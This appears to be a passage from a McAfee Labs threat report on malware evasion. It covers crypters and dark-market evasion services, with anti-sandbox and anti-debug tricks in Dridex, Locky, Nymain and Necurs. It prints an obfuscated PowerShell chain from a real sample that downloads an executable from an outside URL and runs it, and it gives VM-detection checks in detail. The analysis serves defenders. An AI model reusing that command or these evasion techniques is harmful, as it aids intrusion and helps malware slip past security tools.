There are hundreds, if not thousands, of anti-security, anti-sandbox, and anti-analyst evasion techniques employed by malware authors. Many can be purchased off the shelf.

**About McAfee Labs**

McAfee Labs is one of the world's leading sources for threat research, threat intelligence, and cybersecurity thought leadership. With data from millions of sensors across key threats vectors—file, web, message, and network—McAfee Labs delivers real-time threat intelligence, critical analysis, and expert thinking to improve protection and reduce risks.


**Introduction**

Welcome to the new McAfee!

On April 3, McAfee became an independent entity, no longer wholly owned by Intel. The spin-off, a culmination of months of effort to prepare critical functions and transition employees to the new entity, is now known as McAfee LLC. Intel remains a minority owner. Chris Young, who led McAfee under the Intel umbrella, is the CEO of the new McAfee. Read Young’s letter to our customers.

In mid-February, we released the report *Building Trust in a Cloudy Sky: The State of Cloud Adoption and Security*. The report looks at cloud adoption, changes in data center environments, and the challenges with visibility and control over these new architectures. It is based on responses from 1,400 IT security professionals from around the globe.

On March 1, we released the report *Tilting the Playing Field: How Misaligned Incentives Work Against Cybersecurity*, developed in partnership with the Center for Strategic and International Studies. It examines the mismatch between the incentives of attackers and defenders. The report identified three key incentive misalignments: between corporate structures and the free flow of criminal enterprises, between strategy and implementation, and between senior executives and those in implementation roles.
In response to the WikiLeaks Vault 7 disclosure on March 7, McAfee developed a simple module for the CHIPSEC framework that can be used to verify the integrity of EFI firmware executables on potentially impacted systems. This work is based on many years of dedicated research within the field of firmware security, conducted by McAfee’s Advanced Threat Research group. CHIPSEC is a framework for analyzing the security of PC platforms that includes hardware, system firmware (BIOS/UEFI), and platform components. Read more about the module.

The No More Ransom initiative confirmed the addition of new members and decryption tools in early April. The initiative brings together technology companies and law enforcement agencies from around the world to educate the public about ransomware and to provide easy access to decryption tools so that victims need not pay ransoms. McAfee is a founding member of the No More Ransom initiative; there are now 89 member companies and agencies.

Also in April, McAfee’s Strategic Intelligence researchers released evidence that a series of cyberattacks targeting the Persian Gulf and, specifically, Saudi Arabia between 2012 and the present are the work of hacker groups supported and coordinated by a common malicious actor, and not the random efforts of a variety of individual cyber gangs in the region. The latest Shamoon campaigns go beyond a few targets in the energy industry, to many in other critical sectors that run Saudi Arabia. Taken together, this new series of Shamoon cyber espionage campaigns is significantly larger, well-planned, well-resourced, and coordinated at a level beyond the limited capacity of disparate independent hacker gangs.

Finally, the Verizon 2017 Data Breach Investigations Report (DBIR) was released in late April. McAfee coauthored a section of the report in which we highlighted significant ransomware technical enhancements in 2016 that have transformed both the nature of the threat and ways in which the security industry is fighting back.

In this quarterly threats report, we highlight three Key Topics:

- We broadly examine evasion techniques and how malware authors use them to accomplish their goals. We discuss the more than 30-year history of evasion by malware, the underground market for off-the-shelf evasion technology, how several contemporary malware families leverage evasion techniques, and what to expect in the future, including machine learning and hardware-based evasion.

- We explore the very interesting topic of steganography in the digital world. Digital steganography hides information in benign-looking objects such as images, audio tracks, video clips, or text files. Of course, attackers use these techniques to pass information by security systems. We explain how in this Key Topic.

- We examine Fareit, the most famous password-stealing malware. We cover its origins, its typical infection vectors, its architecture and inner workings, how it has changed over the years, and how it was likely used in the breach of the Democratic National Committee before the 2016 U.S. Presidential election.

These Key Topics are followed by our usual in-depth set of quarterly threats statistics.
And in other news...

NSS Labs, an independent, highly regarded security product testing lab, recently completed its comprehensive Advanced Endpoint Protection tests, in which they examined endpoint products from 13 vendors. They tested the products against a barrage of advanced threats and evaluated them for overall security effectiveness and total cost of ownership. **McAfee Endpoint Security (ENS) 10.5** achieved a security effectiveness rating of 99% with zero false-positives and 100% of the tested evasions blocked. These results earned McAfee ENS an NSS Labs Recommended Rating for Advanced Endpoint Protection. Compared with the other vendors, McAfee ENS did very well, earning the second highest security effectiveness rating.

Every quarter, we discover new things from the telemetry that flows into McAfee Global Threat Intelligence. The McAfee GTI cloud dashboard allows us to see and analyze real-world attack patterns that lead to better customer protection. This information provides insight into attack volumes that our customers experience. In Q1, our customers saw the following attack volumes:

- McAfee GTI received on average 55 billion queries per day in Q1.
- McAfee GTI protections against malicious files decreased to 34 million in Q1 from 71 million per day in Q4 due to earlier malware detection and better local intelligence.
- McAfee GTI protections against potentially unwanted programs showed an increase to 56 million per day in Q1 from 37 million per day in Q4.
- McAfee GTI protections against medium-risk URLs measured a decrease to 95 million per day in Q1 from 107 million per day in Q4 due to improved accuracy.
- McAfee GTI protections against risky IP addresses saw a decrease to 59 million per day in Q1 from 88 million per day in Q4 due to earlier detection.

We continue to receive valuable feedback from our readers through our Threats Report user surveys. If you would like to share your views about this Threats Report, please click here to complete a quick, five-minute survey.

Enjoy the summer.

—Vincent Weafer, Vice President, McAfee Labs
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McAfee Labs Threats Report
June 2017

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Executive Summary

Malware evasion techniques and trends

Malware developers began experimenting with ways to evade security products in the 1980s, when a piece of malware defended itself by partially encrypting its own code, making the content unreadable by security analysts. Today, there are hundreds, if not thousands, of anti-security, anti-sandbox, and anti-analyst evasion techniques employed by malware authors. In this Key Topic, we examine some of the most powerful evasion techniques, the robust dark market for off-the-shelf evasion technology, how several contemporary malware families leverage evasion techniques, and what to expect in the future, including machine learning evasion and hardware-based evasion.

Hiding in plain sight: The concealed threat of steganography

Steganography has been around for centuries. From the ancient Greeks to modern cyberattackers, people have hidden secret messages in seemingly benign objects. In the digital world, those messages are most often concealed in images, audio tracks, video clips, or text files. Attackers use digital steganography to pass information by security systems without detection. In this Key Topic, we explore the very interesting field of digital steganography. We cover its history, common methods used to hide information, its use in popular malware, and how it is morphing into networks. We conclude by providing policies and procedures to protect against this form of attack.

The growing danger of Fareit, the password stealer

Password stealers are used in the early stages of nearly all attacks. Fareit, the most famous password-stealing malware, was likely used in the DNC breach before the 2016 U.S. Presidential election. We examine Fareit in this Key Topic.
Key Topics

- Malware evasion techniques and trends
- Hiding in plain sight: The concealed threat of steganography
- The growing danger of Fareit, the password stealer
Malware evasion techniques and trends

—Thomas Roccia

Technology advances have significantly changed our lives during the past decade. We rely on computers of various sorts for even the simplest of daily tasks and become stressed when they are not available or do not perform as we expect. The data that we create, use, and exchange has become the gold of the 21st century. Because our information is so valuable and often very personal, attempts to steal it have proliferated.

Malware was first developed as a challenge, but soon attackers recognized the value of stolen data and the cybercrime industry was born. Security companies, including McAfee, soon formed to defend people and systems using antimalware technologies. In response, malware developers began experimenting with ways to evade security products.

The first evasion techniques were simple because the antimalware products were simple. For example, changing a single bit in a malicious file was sometimes good enough to bypass the signature detection of a security product. Eventually, more complex mechanisms such as polymorphism or obfuscation arrived.

Today’s malware is very aggressive and powerful. Malware is no longer developed just by isolated groups or teenagers who want to prove something. It is now developed by governments, criminal groups, and hacktivists, to spy on, steal, or destroy data.

This Key Topic details today’s most powerful and common evasion techniques and explains how malware authors try to use them to accomplish their goals.

Why use evasion techniques?

To perform malicious actions, attackers create malware. However, they cannot achieve their goals unless their attempts remain undetected. There is a cat-and-mouse game between security vendors and attackers, which includes attackers monitoring the operations of security technologies and practices.

The term evasion technique groups all the methods used by malware to avoid detection, analysis, and understanding.

We can classify evasion techniques into three broad categories:

- **Anti-security techniques**: Used to avoid detection by antimalware engines, firewalls, application containment, or other tools that protect the environment.

- **Anti-sandbox techniques**: Used to detect automatic analysis and avoid engines that report on the behavior of malware. Detecting registry keys, files, or processes related to virtual environments lets malware know if it is running in a sandbox.

- **Anti-analyst techniques**: Used to detect and fool malware analysts, for example, by spotting monitoring tools such as Process Explorer or Wireshark, as well as some process-monitoring tricks, packers, or obfuscation to avoid reverse engineering.
Some advanced malware samples employ two or three of these techniques together. For example, malware can use a technique like RunPE (which runs another process of itself in memory) to evade antimalware software, a sandbox, or an analyst. Some malware detects a specific registry key related to a virtual environment, allowing the threat to evade an automatic sandbox as well as an analyst attempting to dynamically run the suspected malware binary in a virtual machine.

It is important for security researchers to understand these evasion techniques to ensure that security technologies remain viable.

We see frequent use of several types of evasion techniques:

**Evasion Technique Use by Malware**

![Evasion Technique Use by Malware](image)

Source: Virus Total and McAfee, 2017.

Anti-sandboxing has become more prominent because more businesses are using sandboxes to detect malware.

**Definitions**

In the world of cybersecurity evasion, certain terms are popular. Here are some of the tools and terms used by attackers.

- **Crypter**: Encrypts and decrypts malware during its execution. Using this technique, malware is often not detected by antimalware engines or static analysis. Crypters are often custom made and can be bought in underground markets. Custom crypters make decryption or decompiling even more challenging. Aegis Crypter, Armadillo, and RDG Tejon are examples of advanced crypters.

- **Packer**: Similar to a crypter. A packer compresses a malware file instead of encrypting it. UPX is a popular packer.

- **Binder**: Connects one or more malware files into one. A malware executable can be bound with a JPG file, but the extension will remain EXE. Malware authors usually bind a malware file with a legitimate EXE file.

There are many types of evasion techniques, all designed to hide malware from detection.
- **Pumper**: Increases the size of a file, allowing the malware to sometimes bypass antimalware engines.

- **FUD**: Fully UnDetectable by antimalware. Used by malware sellers to describe and promote their tools. A successful FUD program combines both scantime and runtime elements to be 100% undetected. We know two types of FUD:
  - **FUD scantime**: Protects a malware file from detection by antimalware engines before the former runs.
  - **FUD runtime**: Protects a malware file from detection by antimalware engines while it runs.

- **Stub**: Usually contains the routine used to load (decryption or decompression) the original malware file into memory.

- **Unique stub generator**: Creates a unique stub for each running instance, making detection and analysis more difficult.

- **Fileless malware**: Infects a system by inserting itself into memory and not writing a file to disk.

- **Obfuscation**: Makes malware code difficult for humans to understand. Plain-text strings are encoded (XOR, Base64, etc.) and inserted into the malware file, or junk functions are added to the file.

- **Junk code**: Adds useless code or fake instructions to the binary to fool the disassembly view or waste analyst time.

- **Anti's**: Sometimes used on underground forums or marketplaces to define all the techniques used to bypass, disable, or kill protection or monitoring tools.

- **Virtual machine packer**: Some advanced packers employ the concept of a virtual machine. When the malware EXE file is packed, the original code is translated into the byte code of the virtual machine and will emulate the behavior of a processor. VMProtect and CodeVirtualizer use this technique.

---

Figure 1: Examples of evasion tools.
A brief history

Malware evasion techniques have become far more numerous and sophisticated since they first appeared in 1980. Here are the major milestones in the evolution of evasion techniques:

**Major Milestones in the Evolution of Evasion Techniques**

- **1980**
  - **Cascade Virus**
  - First virus using encryption to scramble its content.

- **1990**
  - **Chameleon Family Virus**
  - First polymorphic viruses.

- **1990s**
  - **Packers**
  - Packers that encrypt or compress become popular due to the smaller size of RAM and disks.

- **1998**
  - **Metamorphism**
  - Malware Regswap uses metamorphism via different registers for the same functions.

- **1999–2003**
  - **Rootkits**
  - In 1999, the first Windows rootkit—NTRootkit—appears, followed by HackerDefender in 2003.

- **2008**
  - **Domain Generation Algorithms**
  - The Conficker worm uses a DGA to evade network detection.

- **2011**
  - **Off-the-Shelf Marketplace**
  - Silkroad is first dark net market selling products and services for malware evasion.

- **2015–2017**
  - **Firmware Malware**
  - Equation Group and Hacking Team leaks reveal the use of firmware malware to remain undetected.
  - **Dridex, Locky**
  - First large-scale obfuscation, use of PowerShell, and sandbox evasion.

The first known virus that attempted to defend itself from antimalware products was the MS-DOS virus Cascade. It defended itself by partially encrypting its own code, making the content unreadable by security analysts.

![MS-DOS virus Cascade in action.](image-url)
In Figure 3, we can see part of Cascade’s code. The red highlight is automatically generated by the disassembler and indicates that the rest of the code does not exist. This is because the encrypted code needs to be decrypted. An easy way to unravel this type of malware is to run the executable and let the decryption routine decrypt the rest of the code.

In early 1990, the security industry discovered Chameleon, the first polymorphic virus. Chameleon was highly encrypted and included junk code. To make the analysis by researchers more difficult, several instructions were scrambled with every new infection.

Subsequent malware developments introduced polymorphism, packers, rootkits, obfuscation, and other evasion techniques. Once dark markets began selling off-the-shelf malware, inexperienced attackers joined the crime wave.

**Evasion technology without coding**

The use of evasion techniques by malware authors is fundamental to success. Cybercriminals—even amateurs—understand this, so a lively and easily accessible market has developed for these evasion techniques.
Evasion techniques can be purchased off the shelf, allowing authors to “outsource” this part of their malware development process. Some even offer unique evasion techniques as a service.

Evasion techniques on dark markets
Some sellers have compiled several evasion techniques into one tool and offer them for sale on underground markets to sophisticated malware creators or their affiliates who are responsible for spreading malware in support of large campaigns.
Figure 7: Evasion tools are sometimes available at low prices. Some sellers who have compiled several crypters and packers probably bought or stole them on the Internet, bundled them, and then offered the bundle for sale.

Figure 8: Other sellers develop their own tools and keep the source code to avoid analysis and detection. The price is higher because the tools (presumably) cannot be distributed by another party.

Figure 9: Some sellers offer a service to make a FUD file. The service is more expensive, likely due to the providers using advanced techniques such as code manipulation, high obfuscation, or other tricks with their own custom crypters.
Key Topics

Figure 10: It is also possible to purchase a certificate to sign any piece of malware, thus bypassing operating system security.

We see considerable variation in prices and services for sale. A service will be more expensive than just a compilation of tools that are probably detected by antimalware products.

**Dark Market Evasion Tools for Sale**

<table>
<thead>
<tr>
<th>Dark Market Name</th>
<th>Description</th>
<th>Type of Product/Service</th>
<th>Cost</th>
</tr>
</thead>
<tbody>
<tr>
<td>[Crypt Service] Make Your File FUD Again!</td>
<td>Crypter services for stubs. Sellers get stubs from buyers and claim to make them FUD again.</td>
<td>1 file</td>
<td>$53.71</td>
</tr>
<tr>
<td>[FUD] Lazer Crypter</td>
<td>Free packer</td>
<td>Unlimited</td>
<td>Free</td>
</tr>
<tr>
<td>[Macro Exploit Crypt Service] Spread Your EXE Like a Pro</td>
<td>Service to create malicious macros for spreading malware.</td>
<td>1 file</td>
<td>$53.37</td>
</tr>
<tr>
<td>Amuse Crypt V2</td>
<td>Basic crypter</td>
<td>Unlimited</td>
<td>$0.50</td>
</tr>
<tr>
<td>Arctic Miner—Silent CPU &amp; GPU [FUD</td>
<td>Startup</td>
<td>Idle</td>
<td>Injection</td>
</tr>
<tr>
<td>BetaCrypt</td>
<td>BetaCrypt code-mutation technology to alter output code and ensure a long FUD time.</td>
<td>1-month license</td>
<td>$239.00</td>
</tr>
<tr>
<td>Dark Market Name</td>
<td>Description</td>
<td>Type of Product/Service</td>
<td>Cost</td>
</tr>
<tr>
<td>-------------------------------------------------------</td>
<td>------------------------------------------------------------------------------</td>
<td>-------------------------</td>
<td>---------</td>
</tr>
<tr>
<td>BHGroup high-quality crypting service (FUD/Native/Small Stub/Great execute)</td>
<td>Crypter services specializing in ASM or C files. Claims advanced functions (not another .Net crypter), samples tested on several systems, claims to work with any RAT/bot/malware.</td>
<td>Unlimited</td>
<td>$35.00</td>
</tr>
<tr>
<td>Biggest Crypter Pack/70+ Pro Crypters/Best Price</td>
<td>Package of 72 packers</td>
<td>Unlimited</td>
<td>$2.99</td>
</tr>
<tr>
<td>Carb0n Crypter 1.8</td>
<td>Basic crypter</td>
<td>Unlimited</td>
<td>$0.94</td>
</tr>
<tr>
<td>Crypter Source Codes/ Huge Pack/Create your own crypter! Make your malware undetectable</td>
<td>Package of crypter source code</td>
<td>Unlimited</td>
<td>$1.99</td>
</tr>
<tr>
<td>Crypters and Binders</td>
<td>Pack of multiple crypter and binder tools</td>
<td>Unlimited</td>
<td>$7.70</td>
</tr>
<tr>
<td>Crypters Pack (372 items)</td>
<td>Package of packers</td>
<td>Unlimited</td>
<td>$1.99</td>
</tr>
<tr>
<td>CyanoBinder - Binder - Only $14 - Hide Your Malware - Cheap - Customizable - Powerful - Full Lifetime License</td>
<td>Advanced binder for joining files (executables, malware, pictures, movies) into one executable file.</td>
<td>Lifetime license of CyanoBinder and full support</td>
<td>$14.00</td>
</tr>
<tr>
<td>Data Protector</td>
<td>Tool to secure program content from researchers and crackers, and to prevent detection by antimalware programs.</td>
<td>45-day license</td>
<td>$75.00</td>
</tr>
<tr>
<td>EXE FUD Crypt Service Long FUD 100% 0/45 for RAT, Malware, Ransomware, Botnet</td>
<td>Service for a FUD binary. The actors claim their service is a long-term FUD.</td>
<td>FUD crypt service</td>
<td>$400.00</td>
</tr>
<tr>
<td>How to Create a FUD Backdoor Bypass Antivirus</td>
<td>Tutorial to create a crypter</td>
<td>Tutorial</td>
<td>$0.94</td>
</tr>
<tr>
<td>HQ Installs</td>
<td>Crypter services for malware. Actors ask to send ransomware-only bot.</td>
<td>Crypter</td>
<td>$85.00</td>
</tr>
<tr>
<td>Infinity Crypter Cracked</td>
<td>Basic crypter</td>
<td>Unlimited</td>
<td>$0.99</td>
</tr>
<tr>
<td>Java Crypter</td>
<td>A type of FUD crypter that will protect files using private encryption and obfuscation methods.</td>
<td>1-month license</td>
<td>$80.00</td>
</tr>
</tbody>
</table>
## Key Topics

<table>
<thead>
<tr>
<th>Dark Market Name</th>
<th>Description</th>
<th>Type of Product/Service</th>
<th>Cost</th>
</tr>
</thead>
<tbody>
<tr>
<td>New Office Exploit Macros Builder FUD</td>
<td>Macro creator for Microsoft Office. Actors claim “almost FUD.”</td>
<td>Unlimited</td>
<td>$4.00</td>
</tr>
<tr>
<td>Octopus Protector C++</td>
<td>Mainly an executable file protector, although it offers many other functions. Protects an executable, completely hiding its actual structure and code. Helps protect it from being reverse engineered, analyzed, or cracked.</td>
<td>1 stub for monthly purchases. 12 stubs for 6-month membership (2 stubs each month). 24 stubs for 12-month membership (2 stubs each month).</td>
<td>$60.00</td>
</tr>
<tr>
<td>Private Crypter</td>
<td>Crypter combines encryption, obfuscation, and code manipulation. Actors claim vast experience in FUD crypting software.</td>
<td>45-day license</td>
<td>$157.71</td>
</tr>
<tr>
<td>Sick Crypter</td>
<td>Basic crypter</td>
<td>Unlimited</td>
<td>$0.94</td>
</tr>
</tbody>
</table>

### Evasion techniques used by organized criminals and security companies

Hacker organizations are also interested in evasion techniques. In 2015, the Hacking Team revealed some techniques used to infect and spy on systems. Their powerful UEFI/BIOS rootkit could infect without detection. In addition, the Hacking Team developed their own core-packer to FUD their tools.

Security companies that offer penetration testing services are aware of and use these techniques, allowing pen testers to create an intrusion like a real hack.

The Metasploit suite, Veil-Evasion, and Shellter allow pen testers to protect their “malicious” binaries. Security researchers are constantly looking for these techniques before attackers find them. We have seen the recent threat DoubleAgent trigger antimalware solutions.

### Evasion techniques in action

During the past year, we have analyzed many malware samples that contain evasion capabilities. In a typical attack, attackers use evasion techniques at many steps in the attack flow.
### Key Topics

#### Evasion Techniques in a Typical Attack Sequence

<table>
<thead>
<tr>
<th>Infection Vector</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Obfuscation</td>
</tr>
<tr>
<td>• Antimalware vendor network detection</td>
</tr>
<tr>
<td>• Sandbox detection</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Malware Delivery</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Packing file</td>
</tr>
<tr>
<td>• Anti-debugging</td>
</tr>
<tr>
<td>• Obfuscation</td>
</tr>
<tr>
<td>• Fake metadata</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Malware Behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Sandbox evasion</td>
</tr>
<tr>
<td>• Code injection</td>
</tr>
<tr>
<td>• Bypass antimalware/ user account control</td>
</tr>
<tr>
<td>• Self-deletion</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Actions on Objectives</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Network evasion</td>
</tr>
<tr>
<td>• Encryption</td>
</tr>
<tr>
<td>• Stealth</td>
</tr>
<tr>
<td>• TOR network</td>
</tr>
</tbody>
</table>

---

**Dridex banking Trojan**

Dridex (also known as Cridex) is a well-known banking Trojan that first appeared in 2014. This malware steals banking credentials and spreads through email attachments in Word files that contain malicious macros. There have been several Dridex campaigns since 2014. In each succeeding campaign, we have observed the addition and enhancement of evasion techniques.

Dridex relies heavily on evasion for its infection vectors. We analyzed several samples.

---

**Figure 11:** We can see the obfuscation of the function names and data. This obfuscation is trivial because it uses ASCII numbers. (Hash: 610663e98210bb83f0558a4c904a2f5e)
Other variants use more advanced techniques.

In another sample, the Dridex infection vector tries to detect a virtual environment or a sandbox by checking the value of the registry key "HKLM\SYSTEM\ControlSet001\Services\Disk\Enum" to search for strings such as "VMWARE" or "VBOX." When a virtual machine or a sandbox is detected, Dridex does not run, appears to be harmless, or attempts to crash the system.

Evasion techniques are widely used in infection vectors to avoid detection and understanding by analysts. Dridex combines several techniques to avoid detection or analysis in multiple attack stages.

- **zzcasr.exe** 1340
- **edg1.exe** 1588

**Process hollowing**

- **rundll32.exe** 1720
- **Explorer.exe** 1420

**DLL injection**

A recent Dridex sample uses the new evasion technique “AtomBombing.” This technique uses the Atom Tables, which are provided by the operating system to allow applications to store and access data. Atom Tables can also be used to share data between applications.

It is possible to inject malicious code into Atom Tables and force a legitimate application to execute that code. Because the techniques used to inject malicious code are well known and easily detected, attackers are now changing their techniques.

Finally, the final Dridex payload generally uses obfuscation and encryption to protect data such as the control server URL, botnet information, and the PC name contained inside the malicious binary.
**Locky ransomware**

Locky is one of the most prominent ransomware families to arrive in 2016. It uses many methods to infect systems. Some of its evasion techniques are similar to Dridex’s.

In the preceding instance, deobfuscation is trivial because it is easy to reverse Unicode, an encoding standard for printing text in different formats. Each Unicode character in this snippet corresponds to an ASCII character.

<table>
<thead>
<tr>
<th>ASCII</th>
<th>Unicode</th>
<th>Hexadecimal</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>0041</td>
<td>41</td>
</tr>
</tbody>
</table>

![Image](image.png)

Figures 14–16: In this (deobfuscated) infection vector, the code is downloading an EXE file into the TEMP folder from an external URL.

Other **Locky samples** use multiple stages with XOR encryption to avoid detection and bypass email filtering and web gateways.

Some Locky variants use the Nullsoft Scriptable Install System, which compresses files. This legitimate app has become more commonly used by malware to bypass antimalware engines. An NSIS file can be unzipped directly to get the content.
In addition to obfuscating executable formats, Locky uses tricks to bypass firewall and control server detection over the network. Some Locky variants use a domain generation algorithm, a technique that allows for the dynamic creation of domains. Locky authors have changed and updated their evasion techniques with each new campaign.

In August 2016, Locky started to use a command-line argument to evade automated sandbox analysis. Without the command line, the sample will not run on the system and the payload will not be decoded into memory.

Figure 17: In this example of Locky, we see many garbage files designed to waste analyst time. All these files are compressed by the NSIS app. Only some are used to perform malicious actions on the target system. (Hash: 5bcbb492cc2db1628985a5ca6d09613)

Figure 18: In this example, the command-line parameter “123” is passed by the infection vector, a JavaScript file. Then, the command-line parameter is read by the Windows API GetCommandLine and CommandLineToArgvW. (Hash: 0fed77b29961c0207bb4b7b033ca3fd4)
The parameter for this sample is used to decrypt and unpack the payload into memory. If the parameter is not correct, the sample simply crashes as it tries to run encrypted code.

Another trick by Locky, and other malware, is the use of the Read Time-Stamp Counter (RDTSC) x86 instruction to detect a virtual environment. The time-stamp counter counts the number of processor cycles since a reset. The instruction RDTSC simply returns the value of the counter stored in the registers edx:eax.

On a physical host, two consecutive RDTSC instructions take a small number of cycles. On a virtual host, this number of cycles will be bigger. If the value returned is not the value expected, the sample goes dormant.

The Nymain downloader uses a combination of anti-reverse engineering techniques with obfuscation and sandbox detection as well as a campaign timer.

Nymain delivers malware such as Trojans or ransomware. Nymain uses several evasion mechanisms to avoid analysis and detection—a combination of anti-reverse engineering techniques with obfuscation and sandbox detection as well as a campaign timer.

Most malware use fake metadata to appear legitimate. The metadata includes information about the program such as FileVersion, CompanyName, and Languages. Other samples use stolen certificates to appear legitimate.

![Image of Windows API calls](Image)

Figure 19: The instructions in the Windows API calls GetProcessHeap and CloseHandle are used to increase the amount of processor cycles. (The instructions per cycles, IPC, estimate the performance of a processor.) Locky compares the amounts and if it takes 10 times more cycles to perform CloseHandle than GetProcessHeap, the malware concludes it is running in a virtual machine. (Hash: 0bf7315a2378d6b05156b59a7a0195a)
The most common but also the easiest to bypass is the function `IsDebuggerPresent`. The code calls the Windows API and sets a value in a register. If the value is not equal to zero, then the program is currently debugged. In that case, the malware terminates the process with the API `TerminateProcess`. Another bypass debugger trick is the call `FindWindow`. If a window is related to a debugger, such as OllyDbg or Immunity Debugger, this API detects it and shuts down the malware.

Nymain performs additional checks to avoid analysis:

- Check the date and do not execute after the end of the campaign.
- Check whether the malware’s filename hash is on the system. If it is, an analysis could be underway.
- Check for a MAC address related to a virtual environment.
- Check the registry key `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System\SystemBiosVersion` to find the string “VBOX.”
- Insert junk code, resulting in disassembler “code spaghetti.”
- Use a domain generation algorithm to evade network detection.
The Necurs Trojan focuses on detecting and evading sandbox analysis.

**Necurs Trojan**

Necurs is a Trojan that takes control of a system and delivers other malware. Necurs is one of the largest botnets, with more than six million nodes in 2016. Necurs began to deliver Locky in 2016.

```plaintext
; Attributes: bp-based frame
Evasion_Techniques proc near
var_10- byte ptr -10h
var_8- dword ptr -8
push ebp
mov ebp, esp
sub esp, 10h ; Integer Subtraction
xor eax, eax ; Logical Exclusive OR
inc eax ; Increment by 1
xor ecx, ecx ; Logical Exclusive OR
push ebx
push esi
lea esi, [ebp+var_10] ; Load Effective Address
mov [esi], eax
mov [esi+4], ebx
mov [esi+8], ecx
mov [esi+0ch], edx
shr esi, 1fh ; Shift Logical Right
call Timing_Trick ; Timing Detection via GetTickCount
mov ecx, esi
shr ecx, 2 ; Shift Logical Left
or eax, ecx ; Logical Inclusive OR
lea esi, [eax+eax] ; Load Effective Address
call VhCPUID_Trick ; Vh Detection with VhCPUID
or eax, esi ; Logical Inclusive OR
lea esi, [eax+eax] ; Load Effective Address
call VhCPUID_Trick ; Vh Detection with VhCPUID
lea esi, [eax+eax] ; Load Effective Address
or eax, esi ; Logical Inclusive OR
call VhDEXT_Trick ; Vh Detection with VhDEXT
or eax, esi ; Logical Inclusive OR
lea esi, [eax+eax] ; Load Effective Address
call VhKM_Trick ; Vh Detection
lea esi, [eax+eax] ; Load Effective Address
or eax, esi ; Logical Inclusive OR
call VhKM_Trick ; Vh Detection
or eax, esi ; Logical Inclusive OR
lea esi, [eax+eax] ; Load Effective Address
call VhKM_Trick ; Vh Detection
or eax, esi ; Logical Inclusive OR
pop esi
pop ebx
leave ; High Level Procedure Exit
ret
Evasion_Techniques endp
```

Figure 22: Necurs uses several mechanisms to avoid detection and analysis. (Hash: 22d745954263d12daf393a802020764)

```plaintext
push ebx
push esi
```

Figure 23: The CPUID instruction returns information about the CPU and allows the malware to detect if it is running in a virtual environment. If the answer is yes, then the malware will not run.
Figure 24: A second evasion technique uses the Windows API call GetTickCount to retrieve the time since the system was started. It then performs several actions and again retrieves the elapsed time. This technique is used to detect a debugging tool. If the time retrieved is longer than expected, the file is currently being debugged. The malware will terminate the process or crash the system.

Figure 25: An old but still effective evasion technique is querying the input/output communication port used by VMware. Malware can query this port using the magic number "VMXh" with the x86 "IN" instruction. During execution, the IN instruction is trapped by the virtual machine and emulated. The result returned from the instruction and stored in the register ebx is then compared to the magic number "VMXh." If the result matches, the malware is running on VMware and will terminate the process or attempt to crash the system.
Figure 26: The VMCPUID instruction is similar to CPUID, though this instruction is implemented only on some virtual machines. If the VMCPUID instruction is not implemented, it results in a system crash, preventing analysis by a virtual machine.

Figure 27: The VPCEXT instruction (visual property container extender) is another anti-virtual machine trick used by Necurs to detect virtual systems. This technique is not documented, and is used by several other bots. If the execution of the instruction does not generate an exception, then the malware is running on a virtual machine.

**Fileless malware**

Some malware infects a system without writing a file to disk, thereby evading many types of detection. We first wrote about fileless malware in the *McAfee Labs Threats Report: November 2015.*
Fileless malware evades detection by not writing any file to disk, where security technologies usually look for malware.

We now see PowerShell used as an infection vector. In one sample, a simple JavaScript file runs an obfuscated PowerShell command to download a packed or armored file from an external IP address. The file injects a malicious DLL into a legitimate process, bypassing all protection. This malware type is not completely fileless, but it is still effective.

The following example (hash: f8b63b322b571f8deb9175c935ef56b4) shows the infection process:

```
wscript.exe "C:\fattura_631269.js"
→ cmd.exe /c "powershell $upec='^kp',$pa;$irrac='^cess $p',$burnecc='^ypass -';$ahak='^ct Syst';$osvyxp='^path=';$qykni='^em Net.';$egegu='^pin.no);$ypdyxka='^Wbclie;$qsirdews='^Scope P;$yzop='^gazabf.e);$jybjzyws='^($env:t;$imnef='^dail-al;$inbex='^ew-Obje;$ihdimu='^Set-Exe;$jryzbo='^nt).
Dow;$rygmy='^roces;$ploplpi='^xe');(N;$emyske='^point.g;$pytnysz='^cutionP;$uglidl='^p:// sau';$qiwxud='^emp+''a';$hepu='^art-Pro';$sibgij='^ath;$gtotuhd='^olicy B';$ynok='^le(''htt';$evjapi='^th);
St;$irjuv='^nloadFi'; Invoke-Expression
($ihdimu+$pytnysz+$gtotuhd+$burnecc+$qsirdews+$rygmy+$osvyxp+$jybjzyws+$qiwxud+$yzop+$ploplpi
+$inbex+$ahak+$qykni+$ypdyxka+$jryzbo+$sibgij+$ynok+$uglidl+$emyske+$upec+$evjapi
+$hepu+$irrac+$sibgij))
→ powershell.exe powershell $upec='kp',$pa;$irrac='cess $p',$burnecc='ypass -';$ahak='ct
Syst;$osvyxp='path=';$qykni='em.Net.';$egegu='pin.no);$ypdyxka='Webclie;$qsirdews='Scope P';
$yzop='gazabf.e);$jybjzyws='($env:t;$imnef='dail-al;$inbex='ew-Obje;$ihdimu='Set-Exe;$jryzbo='nt).
Dow;$rygmy='roces;$ploplpi='xe');(N;$emyske='point.g;$pytnysz='cutionP;$uglidl='p:// sau';$qiwxud='emp+''a';
$hepu='art-Pro';$sibgij='ath;$gtotuhd='olicy B';$ynok='le(''htt';$evjapi='th);
St;$irjuv='nloadFi';Invoke-Expression
($ihdimu+$pytnysz+$gtotuhd+$burnecc+$qsirdews+$rygmy+$osvyxp+$jybjzyws+$qiwxud+$yzop+$ploplpi
+$inbex+$ahak+$qykni+$ypdyxka+$jryzbo+$sibgij+$ynok+$uglidl+$emyske+$upec+$evjapi
+$hepu+$irrac+$sibgij));

→ agzabf.exe (PID: 2944)
→ agzabf.exe (PID: 3236)
→ explorer.exe (PID: 2628)
```

Figure 28: The PowerShell command drops an NSIS-packed file (agzabf.exe, hash: c52950316a6d5bb7ebc65d37e8747b46), which injects monkshood.dll (hash: 895c6a498afece002063948c1f0801a2) into the process explorer.exe. The evasion technique used here is DLL injection, which injects code into a running process.

Evasion Technique Trends

The most common evasion techniques include:

